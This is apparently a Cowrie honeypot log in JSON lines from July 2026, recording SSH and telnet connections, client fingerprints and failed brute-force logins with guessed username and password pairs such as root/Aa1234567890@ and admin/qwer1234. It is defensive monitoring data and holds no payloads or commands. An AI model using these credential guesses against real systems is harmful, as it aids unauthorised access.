{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:44:30.877773Z","src_ip":"91.92.40.176","session":"b9ceec4a0d39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:44:31.253523Z","src_ip":"91.92.40.176","session":"b9ceec4a0d39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:44:32.337935Z","src_ip":"91.92.40.176","session":"b9ceec4a0d39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":34388,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a0d619cc923","protocol":"ssh","message":"New connection: 103.248.120.6:34388 (10.17.0.5:22) [session: 5a0d619cc923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:44:41.926628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:44:41.932746Z","src_ip":"103.248.120.6","session":"5a0d619cc923","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:44:42.157299Z","src_ip":"103.248.120.6","session":"5a0d619cc923","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890@","message":"login attempt [root/Aa1234567890@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:44:43.094171Z","src_ip":"103.248.120.6","session":"5a0d619cc923","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:44:44.321467Z","src_ip":"103.248.120.6","session":"5a0d619cc923","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":117.58313202857971,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:45:05.050265Z","src_ip":"128.199.209.169","session":"35ec246e4f57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.88.94","src_port":50232,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bda251552d6","protocol":"ssh","message":"New connection: 162.144.88.94:50232 (159.203.135.109:22) [session: 6bda251552d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:45:11.938001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:45:11.941880Z","src_ip":"162.144.88.94","session":"6bda251552d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:45:12.025446Z","src_ip":"162.144.88.94","session":"6bda251552d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jaxx456","message":"login attempt [root/jaxx456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:45:12.272925Z","src_ip":"162.144.88.94","session":"6bda251552d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:45:13.644769Z","src_ip":"162.144.88.94","session":"6bda251552d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":56850,"dst_ip":"159.203.135.109","dst_port":23,"session":"0878462c347c","protocol":"telnet","message":"New connection: 170.64.224.25:56850 (159.203.135.109:23) [session: 0878462c347c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:45:41.099280Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.61.95","src_port":52452,"dst_ip":"159.203.135.109","dst_port":22,"session":"151f58d60ed2","protocol":"ssh","message":"New connection: 162.144.61.95:52452 (159.203.135.109:22) [session: 151f58d60ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:45:53.228325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:45:53.232649Z","src_ip":"162.144.61.95","session":"151f58d60ed2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:45:53.321373Z","src_ip":"162.144.61.95","session":"151f58d60ed2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"polygon456","message":"login attempt [root/polygon456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:45:53.589834Z","src_ip":"162.144.61.95","session":"151f58d60ed2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:45:54.989711Z","src_ip":"162.144.61.95","session":"151f58d60ed2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51094,"dst_ip":"159.203.135.109","dst_port":23,"session":"4460f1a44be2","protocol":"telnet","message":"New connection: 170.64.224.25:51094 (159.203.135.109:23) [session: 4460f1a44be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:46:05.133155Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":37894,"dst_ip":"10.17.0.5","dst_port":22,"session":"7136d764697d","protocol":"ssh","message":"New connection: 190.244.39.224:37894 (10.17.0.5:22) [session: 7136d764697d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:46:11.788703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:46:11.796435Z","src_ip":"190.244.39.224","session":"7136d764697d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:46:11.964420Z","src_ip":"190.244.39.224","session":"7136d764697d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwer1234","message":"login attempt [admin/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:46:12.648083Z","src_ip":"190.244.39.224","session":"7136d764697d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:46:13.821882Z","src_ip":"190.244.39.224","session":"7136d764697d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.505069971084595,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:46:30.604247Z","src_ip":"170.64.224.25","session":"0878462c347c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.34083104133606,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:46:39.473866Z","src_ip":"170.64.224.25","session":"4460f1a44be2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":57302,"dst_ip":"10.17.0.5","dst_port":22,"session":"1084ccc35f81","protocol":"ssh","message":"New connection: 91.92.40.176:57302 (10.17.0.5:22) [session: 1084ccc35f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:46:49.758616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:46:49.762444Z","src_ip":"91.92.40.176","session":"1084ccc35f81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:46:49.843312Z","src_ip":"91.92.40.176","session":"1084ccc35f81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"letmein","message":"login attempt [user/letmein] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:46:50.283748Z","src_ip":"91.92.40.176","session":"1084ccc35f81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:46:51.424207Z","src_ip":"91.92.40.176","session":"1084ccc35f81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":59192,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a8de2b20d42","protocol":"ssh","message":"New connection: 103.77.242.62:59192 (159.203.135.109:22) [session: 5a8de2b20d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:46:56.957752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:46:56.961313Z","src_ip":"103.77.242.62","session":"5a8de2b20d42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:46:57.203640Z","src_ip":"103.77.242.62","session":"5a8de2b20d42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hfdbkm","message":"login attempt [root/hfdbkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:46:57.926234Z","src_ip":"103.77.242.62","session":"5a8de2b20d42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:46:59.168941Z","src_ip":"103.77.242.62","session":"5a8de2b20d42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.142.226","src_port":53252,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fdcc558cf3f","protocol":"ssh","message":"New connection: 132.148.142.226:53252 (10.17.0.5:22) [session: 4fdcc558cf3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:47:05.763254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:47:05.767878Z","src_ip":"132.148.142.226","session":"4fdcc558cf3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:47:05.833543Z","src_ip":"132.148.142.226","session":"4fdcc558cf3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"strk456","message":"login attempt [root/strk456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:47:06.028522Z","src_ip":"132.148.142.226","session":"4fdcc558cf3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:47:07.095711Z","src_ip":"132.148.142.226","session":"4fdcc558cf3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":25580,"dst_ip":"10.17.0.5","dst_port":22,"session":"97f506a4b261","protocol":"ssh","message":"New connection: 147.45.199.80:25580 (10.17.0.5:22) [session: 97f506a4b261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:47:14.108769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:47:14.112117Z","src_ip":"147.45.199.80","session":"97f506a4b261","protocol":"ssh"}
